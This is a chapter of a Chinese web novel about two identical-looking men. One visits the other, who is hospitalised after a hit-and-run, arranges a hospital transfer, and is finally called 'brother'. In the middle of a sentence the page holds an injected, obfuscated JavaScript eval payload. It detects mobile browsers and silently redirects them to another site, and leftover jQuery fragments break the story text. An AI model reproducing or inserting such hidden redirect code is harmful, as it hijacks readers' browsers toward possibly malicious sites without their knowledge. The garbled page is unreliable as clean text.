叫哥哥是不可能叫哥哥的,死都不会叫的。
连拂雪又不是不知道连江雪是什么性格的人,怎么可能会叫他哥哥,但他就是偏要犯这个贱。
连江雪不叫也就算了,如果叫了,连拂雪光想到那个画面,都能爽翻天。
可惜连拂雪还是对连江雪太了解了。
挂断电话之后,连江雪将彻底冷掉成团的粥放在一边,吃下止痛药,随即用左手支撑着身体,慢慢躺下,准备睡一会儿。
也不知道睡到什么时候,连江雪忽然感觉到脸颊上凉风嗖嗖的,他困意渐消,缓缓睁开眼睛一看,见一个熟悉的脸正在他面前逐渐放大。
连江雪被骤然吓了一跳,想要动,手上却打着石膏,一动就疼的呲牙咧嘴的,心脏砰砰跳动起来,撞得他肋骨发疼,眼前阵阵发黑。
连拂雪见状,拍了拍他的肩膀,道:
“看见哥哥,就这么激动?”
连江雪被吓的心跳紊乱,差点成一条直线了:“.........滚。”
“你竟然会说脏话!”连拂雪顺手将连江雪扶起来,靠在床头,惊讶道:“这一点也不符合你的气质!”
“我该是什么气质。”连江雪坐起来,余光看见连拂雪手中提着的袋子,顿了顿,才道:
“这是什么?”
“不知道你喜欢吃什么,但想着你是病人,要吃清淡一点,就去街上买了一点白灼水牛肉和清汤面。”
连拂雪说:“能自己吃吗?不能吃我喂你。”
“不用。”被一个大男人喂食物,怎么想,都觉得有点怪怪的,连江雪拿起筷子,艰难地驯服着自己的左手,夹起面条。
“慢点吃。”连拂雪随手将车钥匙丢到简易的饭桌上,环视一圈,随即顺手将帘子拉上,道:
“这么吵的地方,你也能睡着?”
“睡不着,但能有什么办法。”连江雪说:
“我又不是少爷。”
“我记得这家医院的院长好像是我同学的爸爸,我打个招呼试试,如果不行,就转到我朋友的私人医院去。”
连拂雪站在多人病房里,看着拥挤吵闹的地方,整个人都觉得有些头晕目眩的:
“这也太吵了.......什么味啊?”
“可能是隔壁那个大爷又失禁了。”连江雪冷静地吃着清汤面:
“你小心点,别沾上了。”
“我靠。”连拂雪赶紧往床边走了几步,最后索性坐了下来,抬头看着连江雪,震惊道:
“这个味儿......你竟然还吃的下饭?!”
“有什么吃不下的。”连江雪说:“再不吃就凉了。”
连拂雪正想说些什么,余光里看见地上放着的几乎没动的坨了的凉粥,似乎是想到了什么,想说的话又咽进肚子里,转而道:
“你受伤了,你爸妈知道吗?没有通知他们来陪护吗?”
“我有记忆起就没见过我妈,都不知道她是死是活。我爸身体不好,心动不方便,还是别让他来了。”连江雪说:“过几天我就说我要去出差,省的他起疑心。”
“.........”连拂雪身体往前倾了倾,道:
“你倒也是个报喜不报忧的性子。”
连江雪瞥了他一眼,随口道:“做子女不都是这样的吗?”
连拂雪:“.........”
他想到自己初高中的时候各种作死、叫家长的“光荣事迹”,忍不住摸了摸鼻子。
他想,连江雪这个样子,应该就是他爸爸江韵书最喜欢的那种孩子吧。
想到江韵书,连拂雪又莫名有些惆怅。
“......你怎么了?”看着连拂雪难得安静下来,不说话的样子,连江雪莫名有些犯怵,忍不住道:
“你也想吃?”
“.........我不吃,你吃吧。”
连拂雪回过神来,换了一个姿势斜倚桌子,道:
“说起来,你是怎么被撞成这样的?”
“下雨天,视线不佳,送外卖快超时了,车速就快了一点,拐弯被车撞了,司机肇事逃逸。”
连江雪说:“事故地点是监控死角,不过我记下了车牌号,应该很快就能抓到司机。”
“.........”连拂雪没想到连江雪一个原科技公司的销售总监,竟然沦落到去送外卖的程度,一时间心情复杂:
“那你这.......要多久才能恢复啊。”
“骨折,起码三个月才能恢复。”连江雪说。
“你爸那边怎么交代。”连拂雪说:“总不能出差出三个月吧,而且万一他要求视频,你这打着石膏的手,迟早会暴露。”
“.......走一步看一步吧。”连江雪也没想好要怎么对付过这三个月,于是敷衍道:
“再说吧。”
“实在不行,我替你回一趟家呗,反正我俩长的一样。”连拂雪尽出馊主意:
“老人家上了年纪,眼神不好,他肯定认不出来。”
连江雪:“.......”
他抬起头,看了连拂雪一眼,没有吭声。
吃完饭,连拂雪帮他把吃剩的东西收了,扶着他躺下。
“你先睡吧。”连拂雪说:“合同的事情,等你伤好了再说。”
连江雪仰头看着他:“等我伤好了,黄花菜都凉了。”
“那就不谈了。”连拂雪随口道:“最多回去被我爸骂一顿,反正从小到大,我已经被骂习惯了。”
连江雪:“........”
他有些无语,看了连拂雪一眼,被连拂雪劝着闭上了眼睛。
他睡熟之后,连拂雪就坐在旁边,看着连江雪。
病房是多人病房,很吵,连江雪的病床还临着厕所隔间,冲水和洗手来往的声音不绝,连拂雪没病都被吵的受不了,阴着脸出去抽烟了。
他抽完烟回来以后,刚好看见连江雪放在身边的手机在震动,便下意识走过去,看了一眼来电人提示。
来电人显示是官方来电,连拂雪想了想,没把连江雪叫起来,拿过手机,接听了电话:
“喂,你好。”
“喂,请问是连江雪先生吗?”电话里传来沉稳的女声。
连拂雪看了一眼好不容易睡着的连江雪,顿了顿,随即道:
“我是他哥。”
“原来是连先生的哥哥。”电话里的女人道:
“你好。根据我们前几天的调查,发现前几天撞倒连江雪先生的那辆车,用的是假的驾驶车牌。车是在一个破旧小区发现的,驾驶他的司机离开小区后,也消失了,现在警方在加紧排查之中,请您再耐心等待一段时间。”
连拂雪:“..........”
他捻了捻指尖,道:
“好的,我知道了。”
挂了电话之后,连拂雪才坐回床上,看着连江雪,无奈道:“你怎么这么倒霉啊,这都是些什么事。”
被人抢了职位也就算了,好好的开车走在路上,还能被车撞进医院,肋骨骨折,脚腕扭伤,现在别说是上班,连生活难以自理。
这其中任何一件事发生在连拂雪身上,连拂雪心态都能当场崩了,但连江雪甚至还很冷静,自己报了警,自己办住院,根本没有向家里示弱、透露半点信息。
连拂雪伸出手,将连江雪过长的额发拨到一边,随即道:
“不过你别怕,哥哥帮你抓坏人。”
连江雪闭着眼睛,胸膛微微起伏,像是睡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157767|180012||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着了。
连拂雪走出病房,来到吸烟区,点了一根烟,随即在通讯录里翻出一个电话,给自己的朋友打去了电话:
“喂,林子。”
“对,是我。我有一个朋友,最近出了车祸,现在在容港第一人民医院。现在医院病房紧张,他和五六个人挤一个病房,病床还在厕所边上,吃不好睡不好的,你看看能不能帮忙联系安排一下,把他转到你们家的私人医院。”
“可以?那行,那明天我就把人送你家私人医院去,你记得给他安排好一点的病房,多谢。”
“没问题的,说什么谢啊,连哥,你跟我客气啥。”同学笑道:
“都是老同学。”
连拂雪笑了一声,两个人又说了一会儿话,连拂雪才把电话挂掉。
烟被抽了一半,连拂雪想了想,又翻出一个手机号码,打了过去:
“喂,徐厅。”
“对,是我。不好意思啊,深夜打扰你。我爸.....我爸好得很,前几天还和我提起您呢.........嗯,我今天来,就是想知道,我朋友被车撞了,但是那个车的车牌是伪造的,现在司机不见了,只剩下一个车,还能找到人不?”
电话那边不知道说了些什么,连拂雪的眉头微微展开,随即道:
“那成,麻烦您和手底下人找个招呼,务必帮我抓到人。”
“多谢您。”
打完电话之后,连拂雪将早就燃尽的烟按灭,随即走出了吸烟区,回到了连江雪的病房。
连江雪已经醒了,因为骨折,身上疼得很,动不了,只能躺在床上看着天花板。
余光里看见连拂雪进来了,他有些惊讶道:
“你......没走?”
“我去哪。”连拂雪一屁股在连江雪的床边坐下来,道:
“怎么不多睡一会儿。”
“太吵了,睡不着。”连江雪说。
“明天给你转院,”连拂雪说:“我朋友家开的私人医院,叫他留好了vip病房给你。”
连江雪闻言,摇了摇头:
“不用。”
连拂雪蹙起眉:“为什么?”
“没钱。”连江雪说:“你看我像是住得起私人医院vip病房的人吗?”
连拂雪被气乐了:“那你就在这个.......环境里养病啊。”
“没事,习惯就好了。”连江雪说:“但还是多谢你。”
“放心吧,钱的事情,你不用担心。”连拂雪从小到大就没有因为钱的事情操过心,随意道:
“大不了,我帮你出了这钱。”
连江雪摇头:“不用了。”
“嘿你这人,怎么这么倔呢。”连拂雪说:“我抢了你的位置,你就不想从我身上拿点补偿?”
“你不是答应给我N+1了吗?”连江雪说。
“这不是还没给吗?”连拂雪又好气又好笑:
“得了,别扯了,明天我就给你转院,你老老实实养病吧。”
连江雪摇了摇头,正欲拒绝,连拂雪就凑过来,盯着连江雪的眼睛,低声笑道:
“要是真觉得不好意思,就说句好听的,比如........叫声哥哥试试。”
连江雪静静看着连拂雪,相似的琥珀色眼珠里倒影出彼此一模一样的脸,并没有开口说话。
连拂雪等了一会儿,没等到想听的,“切”了一声,说了一句“没劲儿”,起身想要去上厕所。
但下一秒,连江雪就开了口,只一句话,就让连拂雪的身体定在了原地,彻底没有了动作:
“谢谢。”
连江雪顿了顿,声音低了下去,轻而又轻,宛若山风清浅:
“.........哥哥。”